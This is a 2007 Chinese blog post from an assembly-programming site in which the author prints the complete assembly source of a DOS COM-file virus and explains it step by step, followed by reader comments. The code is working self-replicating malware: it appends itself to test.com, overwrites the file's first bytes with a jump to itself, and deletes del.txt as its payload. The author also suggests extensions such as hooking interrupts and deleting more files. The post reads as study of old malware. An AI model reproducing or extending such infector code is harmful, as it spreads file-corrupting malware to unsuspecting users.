汇编网首页登录博客注册
mnzn2530的学习博客
博客首页博客互动【做检测题】论坛求助

我的博客

个人首页 |  我的文章 |  我的相册 |  我的好友 |  最新访客 |  文章收藏 |  论坛提问 |  友情链接 |  给我留言  

[2007-10-20 19:09] 一个感染 com  的病毒

日久见人心,才没几天。。。偶手又痒了。。。。。在看完一个感染com文件的病毒激动万分的时候,偶决定要为这个“病毒”写点东西,也算对得起它吧,估计又该有某某大叫头疼了,但思路却是相同的,每个人,每件事,对么? 好了开始。。。。

        介绍下这个病毒的结构,这个病毒是感染com文件的(古老的一种文件格式,但是很简单),由于是实模式下的,所以我们就可以添删com而不用担心别的事情,程序有感染的代码,有破坏的代码,因为没有自动查找的代码程序暂时只能感染test.com这个co并删除del.txt这个文件,但有点不爽的是这个程序没有判断是否已经感染,结果就造成重复感染,有兴趣的可以加上这个模块试试 :)
        先把代码贴上。。。。

 ;; 感染com
CSEG SEGMENT
ASSUME CS:CSEG,DS:CSEG,SS:CSEG

main PROC NEAR            
mainstart: 
    CALL vstart ;病毒的代码开始处
vstart: 
    POP SI    
    MOV BP, SI 
    PUSH SI           

    MOV AH,9
    ADD SI, OFFSET message - OFFSET vstart
    MOV DX, SI
    INT 21h 
        POP SI          
    
    ADD SI, OFFSET yuan4byte - OFFSET vstart
    MOV DI, 100h 

    MOV AX, DS:[SI] 
    MOV DS:[DI], AX
    INC SI
    INC SI
    INC DI
    INC DI

    MOV AX,DS:[SI]
    MOV DS:[DI],AX

    MOV SI,BP 
      
    ;; 以下应该属于破坏部分
    MOV DX, OFFSET delname - OFFSET vstart ; 删除一个文件
    ADD DX, SI        ; ds:dx指向文件名字吧
    MOV AH,41h
    INT 21h            ; 成功 ax =0
    ;; 破坏完

    MOV DX, OFFSET filename - OFFSET vstart ;得到文件名
    ADD DX,SI         ; 
    MOV AL,02         ; al=2  读写状态
    MOV AH,3dh ;打开文件
    INT 21h            ;成功ax = 文件句柄, 失败 ax = 错误代码
    JC error        ;  错误设置进位标志

    MOV BX,AX ;文件句柄


    MOV DX, OFFSET yuan4byte - OFFSET vstart ;读文件的前四个字节
    ADD DX,SI        ; ds:dx指向缓冲区的指针
    MOV CX,4        ; 
    MOV AH,3fh        ; 读取文件
    INT 21h

    MOV AX, 4202h ;到文件尾   ah=42表示要移动文件
    XOR CX,CX        ; al=移动方式,我估计是直接从文件末尾开始的,所以位移量才是0
    XOR DX,DX        ; cx:dx=位移量
    INT 21h            ; 移动成功dx:ax指向新位置

    MOV DI, OFFSET new4byte - OFFSET vstart 
    ADD DI,2        
    ADD DI,SI
    SUB AX,4        
    MOV DS:[DI], AX        


    ADD SI, OFFSET mainstart - OFFSET vstart 是负的
    MOV DX, SI       
    MOV vsizes, OFFSET vends - OFFSET mainstart
    MOV CX, vsizes 
    MOV AH,40h       
    INT 21h          
    
    MOV SI, BP 
    MOV AL, 0        
    XOR CX, CX
    XOR DX, DX
    MOV AH, 42h
    INT 21h

    MOV AH, 40h 
    MOV CX, 4        
    MOV DX, OFFSET new4byte - OFFSET vstart 
    ADD DX, SI
    INT 21h

    MOV AH, 3eh ;关闭文件
    INT 21h
error: 
    MOV AX, 100h        
    PUSH AX        
    RET            
main ENDP
    
yuan4byte: 
    RET            ; c3H
    DB 3 DUP (?) 
    vsizes DW 0
    new4byte DB "M", 0e9h, 0, 0 
    filename DB "test.com", 0 
    delname DB "del.txt", 0 
    message DB "He he he he!" 
    DB 0dh,0ah, "$"
vends: 

start:                 ; 程序从这开始
    MOV AX,CSEG
    MOV DS,AX        
    MOV SS,AX        
    
    CALL main
    
    MOV AX, 4c00h
    INT 21h

CSEG ENDS
END start

       在我看来,这个病毒写的相当精巧,大概说说它的思路吧,程序首先读取了目标代码的前4个字节,因为前4个字节需要放它跳往病毒例程的跳转(也就是jmp),并把读取的这4个字节保存到自己的数据段(源程序总不能破坏嘛),然后把病毒例程自己复制到com的末尾,注意,数据段也顺便复制了过去,所以不用担心原来的4个字节,记住此时其实执行的就是病毒代码,也就是说目标程序已经跳转到病毒了,还需要在病毒里恢复原来的4个字节,大概就是这样,接下来自己看看吧。。。。。

注意看,程序是从 start 开始的,然后一个    CALL main 把控制权交给了病毒

mainstart: 
    CALL vstart ;病毒的代码开始处
vstart: 
    POP SI     ;得到当前地址
    MOV BP, SI ;保存当前地址
    PUSH SI            ; 再压入栈
   
为什么要call一下子呢?就是为了得到此时的偏移,记得以前有个群里的朋友非要和我争论说call就是函数调用,我就不多说了,这里的call能让你突破你的思维局限(我爱死汇编啦)。注意si保存的一直是偏移地址,以后的偏移量的计算都靠它了,为什么呢?因为程序被复制过,所以固定的偏移量将会导致错误,而且标号到时候也没有了,唯一能依靠的只有这个si咯。。。。代码的重定向,很有趣哦。。 :)

    MOV AH,9
    ADD SI, OFFSET message - OFFSET vstart 
    MOV DX, SI
    INT 21h ;显示预设字符串
    POP SI           
显示一个字符串,多多少少没多少用处,不过注意如何重定向的,仔细的想想哦,为什么这样能得到字符串的地址。。。

    ADD SI, OFFSET yuan4byte - OFFSET vstart
    MOV DI, 100h ;目的地址   复制到 com开头,还记得com偏移地址是 100H吧

    MOV AX, DS:[SI]
    MOV DS:[DI], AX
    INC SI
    INC SI
    INC DI
    INC DI

    MOV AX,DS:[SI]
    MOV DS:[DI],AX
这个又是做什么呢?不要忘了在这个程序被感染的时候,它的前4个字节已经被修改并被保存到数据段,保存在哪里呢?对了,就是 yuan4byte里,而且数据段也一起被复制了过来,既然现在已经在这个病毒例程里了,跳转就没用了,从数据段恢复原程序的4个字节,因为是com所以代码从100H开始。。。。又一个重定向。。

    ;; 以下应该属于破坏部分
    MOV DX, OFFSET delname - OFFSET vstart ; 删除一个文件
    ADD DX, SI        ; ds:dx指向文件名字吧
    MOV AH,41h
    INT 21h            ; 成功 ax =0
    ;; 破坏完

    破坏部分。。。。不怎么感兴趣,不过你可以在这里替换int 9H啦,删除一些文件啦,等等,病毒可恶的地方就在这个模块,这个程序只是删除了一个文件,能做的事情很多啦。。。

    MOV DX, OFFSET filename - OFFSET vstart ;得到文件名
    ADD DX,SI         ; 
    MOV AL,02         ; al=2  读写状态
    MOV AH,3dh ;打开文件
    INT 21h            ;成功ax = 文件句柄, 失败 ax = 错误代码
    JC error        ;  错误设置进位标志

    MOV BX,AX ;文件句柄

找到要感染的com,其实就是一个打开文件,用C写也就是  open 或者  fopen或者直接CreateFile等等,不要想太高深。。。。

    MOV DX, OFFSET yuan4byte - OFFSET vstart ;读文件的前四个字节
    ADD DX,SI        ; ds:dx指向缓冲区的指针
    MOV CX,4        ; 
    MOV AH,3fh        ; 读取文件
    INT 21h

看!这个过程就是读取前4个字节并保存到yuan4byte的过程!!!想想奇怪吗?感染的程序负责修改,被感染的程序负责恢复并准备着修改下一个文件,如果没有下一个文件怎么办?看看上面那段代码JC error使程序立即常退出,注意!打开文件是在恢复原来的4个字节之后,如果程序
立即退出,这个程序还是会去执行原来的程序,并不会影响原来程序,但文件里的程序头四个字节还是病毒的,病毒上面修改的只是内存里的。

    MOV AX, 4202h ;到文件尾   ah=42表示要移动文件
    XOR CX,CX        ; al=移动方式,我估计是直接从文件末尾开始的,所以位移量才是0
    XOR DX,DX        ; cx:dx=位移量
    INT 21h            ; 移动成功dx:ax指向新位置

移动到文件末尾准备把病毒例程复制到com的最后,这里只是移动文件指针。。


    MOV DI, OFFSET new4byte - OFFSET vstart 
    ADD DI,2        
    ADD DI,SI
    SUB AX,4        
    MOV DS:[DI], AX        
这个又是做什么呢? 仔细观察下new4byte里是什么。。。e9其实是jmp 的机器码,跳转需要知道跳转到那,这里就是在计算跳转的偏移,注意ax的值填充了new4byte的最后2个字节,ax是什么呢?其实是文件的偏移量,其实是文件开头+4字节,加上原来文件的长度(ax)=文件末尾+4字节,而要写入文件末尾就要减去4个字节,巧妙呵呵。。。

     
    ADD SI, OFFSET mainstart - OFFSET vstart 
    MOV DX, SI       
    MOV vsizes, OFFSET vends - OFFSET mainstart 
    MOV CX, vsizes 
    MOV AH,40h        
    INT 21h          
    
    MOV SI, BP 
    MOV AL, 0      
    XOR CX, CX
    XOR DX, DX
    MOV AH, 42h
    INT 21h

    MOV AH, 40h 
    MOV CX, 4       
    MOV DX, OFFSET new4byte - OFFSET vstart 
    ADD DX, SI
    INT 21h

    MOV AH, 3eh ;关闭文件
    INT 21h

这段就简单了,首先复制自己到目标程序的最后,然后重新回到文件开头,最后把新的4个字节写入进程序开始,注意那个M,很有意思的哦,翻译为机器码我记得是 dec bp虽然修改了BP但是没什么影响,主要是为了凑够4个字节吧我想。


MOV AX, 100h     
    PUSH AX         
    RET    

最后这个ret也证明了 它不止用来返回函数。。。。。

其余的也没什么难的了。。。。但回头来看。。每一个地方都相当精彩,有趣,第一次做外科医生,心里有点怕怕的,还好,2个月的努力终于拆开了这家伙。。。合格么?我不是很满意,还有更多的手术等着我去做,好了先睡觉吧。。。。。 :)
  
  有问题找我。。。
评论次数(6)  |  浏览次数(2468)  |  类型(默认类型) |  收藏此文  | 

[  jyycool   发表于  2007-10-20 19:48  ]

呵呵,不错强啊,我还不行,我想最多半个月,我就可以看的懂了

[  dreamhk   发表于  2007-10-20 21:27  ]

博主可否把病毒文件加密码virus压缩发送到 rar.virus@gmail.com
谢谢,我没有你那个能力去仔细分析,我的目的只是想了解它的感染方式,然后尝试手工修复被感染文件.

[  goal00001111   发表于  2007-10-21 12:51  ]

很不错,收藏了。

[  wuerlang   发表于  2007-12-25 17:24  ]

我也收藏.
也许用来研究学习汇编的时候有用.
至于研究病毒,倒不觉得有什么兴趣.

[  ghi   发表于  2008-07-02 22:06  ]

先收藏了  以后再看 哈哈 好东西都得看见就收藏了

[  chervy   发表于  2011-09-17 17:24  ]

我还是初学汇编的。
我学着弄了一遍,接下来怎么弄呢?谢谢。

 
 请输入验证码  (提示:点击验证码输入框,以获取验证码